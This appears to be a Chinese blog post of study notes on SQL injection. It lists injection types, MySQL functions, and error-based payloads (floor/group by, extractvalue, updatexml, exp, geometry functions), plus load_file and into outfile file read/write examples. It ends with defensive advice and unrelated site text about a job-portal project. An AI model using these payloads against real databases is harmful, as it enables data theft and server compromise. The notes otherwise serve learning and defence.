sql注入

文章目录

概念:web应用程序对用户输入数据的合法性没有进行判断或过滤不严,导致攻击者可以插入sql语句并在数据库执行操作。
本质:sql语句的拼接。

分类
注入点:GET注入、POST注入、cookie注入、HTTP请求头部(UA,referer)
注入手法:联合查询、报错注入、布尔盲注、延时注入、堆叠查询、mof|udf提取
注释
#
–+  
/* … */
/*! … */ 内联查询

元数据库
information_schema
在这里插入图片描述

MySQL常用函数与参数

=|>|<|>=|<=|<>(!=)		比较运算符
and|or				    逻辑运算符,and优先级高于or

version()				mysql数据库版本
database()              当前数据库
user()					用户名
current_user()			当前用户名
system_user()			系统用户名
@@datadir				数据库路径
@@version_compile_os	操作系统版本
load_file()				读取文件,并返回文件内容作为一个字符串
into outfile			写入文件到指定位置

if(if,t,f)				真返回t,假返回f
sleep(x)				睡眠x秒
find_in_set()			返回字符串在字符串列表中的位置
benchmark()				指定语句执行的次数
name_const()			返回表作为结果

substring('ab',1,1)		str:截取字符串 //a
substr('ab',1,1)		1:开始位置 //a
mid('ab',1,1)			1:长度 //a
left('abc',2)			从左侧开始取指定个数的字符串 //ab
concat('a','b')			没有分隔符的连接字符串 //ab
concat_ws(';','a','b')	含有分隔符的连接字符串 //a;b
group_concat(id)		连接成一个组的字符串(单行) //1,2,3,4
lengh()					返回字符串长度
ord('a')				返回ASCII码 //97
ascii('a')				返回ASCII码 //97
hex()					返回16进制
unhex()					返回16进制转10进制对应的ASCII值
md5()					返回md5值
floor(x)				返回不大于x的整数
rand()					返回0-1之间的随机浮点数
exp(x)					返回e的x次幂


注入工具:sqlmap、pangolin、havij等

联合注入

报错注入

  1. group by重复键冲突(不限制版本,mysql bug #8652)
?id=1 and (select 1 from (select count(*) ,concat((select bersion() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
  1. XPATH报错(mysql 5.0以上)
?id=1 and extractvalue(1,concat('^',(select version()),'^') --+
?id=1 and updatexml(1,concat('^',(select database()),'^'),1) --+
  1. exp()
    id =1 and EXP(~(SELECT * from(select user())a))
  • GeometryCollection():
    id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))
  • polygon():
    id =1 AND polygon((select * from(select * from(select user())a)b))
  • multipoint():
    id = 1 AND multipoint((select * from(select * from(select user())a)b))
  • multilinestring():
    id = 1 AND multilinestring((select * from(select * from(select user())a)b))
  • linestring():
    id = 1 AND LINESTRING((select * from(select * from(select user())a)b))
  • multipolygon()
    id =1 AND multipolygon((select * from(select * from(select user())a)b))

布尔盲注

延时注入

读写文件
前提条件:

  1. secure-file-priv=‘c:/a/’   限制mysqld的导入导出操作发生在c:/a/下(子目录有效)
    secure-file-priv=      不对mysqld的导入导出操作做限制
    secure-file-priv=null   限制mysqld 不允许导入导出操作
  2. 当前用户具有文件权限
    select File_priv from mysql.user where user=“root” and host=“localhost”;
  3. 知道文件绝对路径

读取文件:
select load_file(“C:/Windows/System32/drivers/etc/hosts”);
select load_file(“C:\\Windows\\System32\\drivers\\etc\\hosts”);

写入文件:
select 1,2,3,4,5 into outfile “D:/desktop/xxx.php”  把1,2,3,4,5写入D:/desktop/xxx.php

Bypass

  1. 宽字节注入

提权:

  1. udf提权
  2. mof提权
  3. mysql反弹shell

防止sql注入:
严格的数据类型
特殊字符转义
使用预编译语言
框架技术
存储过程
在服务器端要对所有的输入数据验证有效性
在处理输入之前,验证所有客户端提供的数据,包括所有的参数,URL和HTTP头的内容
验证输入数据的类型、长度和合法的取值范围
使用白名单验证允许的输入字符而不是黑名单
在危险字符输入后进行转义或编码
不使用动态拼接的SQL语句,如果使用对特殊字符进行转义

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
前台: (1)注册登录模块:按照学校的相关规定进行注册和登录。 (2)招聘信息查看:高校毕业生们可以网站首页上查看所有的招聘信息,除此之外还可以输入公司名称或岗位名称进行搜索。 (3)用人单位模块:此模块为宣传用人单位的主要功能模块,具体包括用人单位简介、岗位需求及职责及公司介绍等功能。 (4)就业指导:学生朋友们在就业前可以通过此模块获取指导。 (5)新闻信息:为了让用户们可以了解到最新的新闻动态,本系统可以通过新闻信息查看功能阅读近期的新闻动态。 (6)在线论坛:毕业季的同学们可以通过此模块相互交流。 后台: (1)系统用户管理模块:可以查看系统内的管理员信息并进行维护。 (2)学生管理模块:通过此功能可以添加学生用户,还可以对学生信息进行修改和删除。 (3)用人单位管理模块:管理员用户通过此模块可以管理用人单位的信息,还可以对用人单位信息进行查看和维护。 (4)招聘管理模块:管理员通过此功能发布和维护系统内的照片信息。 (5)就业指导管理模块:通过此模块可以编辑和发布就业指导信息,从而更好的帮助就业季的同学们。 (6)论坛管理:通过论坛管理可以查看论坛中的主题帖及里面的回复信息,除此之外还可以对论坛中的信息进行维护和管理。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值